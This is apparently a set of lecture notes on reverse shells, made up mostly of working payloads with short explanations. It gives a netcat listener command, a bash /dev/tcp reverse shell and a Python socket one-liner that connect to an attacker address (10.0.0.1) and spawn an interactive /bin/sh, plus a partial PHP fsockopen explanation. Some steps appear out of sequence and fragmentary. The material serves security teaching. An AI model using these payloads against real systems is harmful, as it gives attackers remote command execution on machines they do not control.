Lecture 6 Codes
Lecture 6 Codes
nc -l -p 8080 –vvv this command used to setting up a Netcat listener on a specific port.
Number of vvv providing more detailed information as number of v increase
Example 2 Using Bash
bash -i >& /dev/tcp/<attacker IP>/<attacker port> 0>&1
OR
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
# step 3 Duplicate the socket file descriptors to stdin, stdout, and stderr
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
# step 4 Execute a shell ("/bin/sh") with the "-i" flag for interactive mode
p = subprocess.call(["/bin/sh", "-i"])
OR
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);’
Explaination
$sock=fsockopen("<attacker IP>", <attacker port>);:
fsockopen: This function opens a network connection or a socket to the specified IP address
and port.
<attacker IP>: Replace this with the actual IP address of the machine controlled by the
attacker.
<attacker port>: Replace this with the port number on which the attacker is listening for the
connection.
The result of fsockopen is assigned to the variable $sock.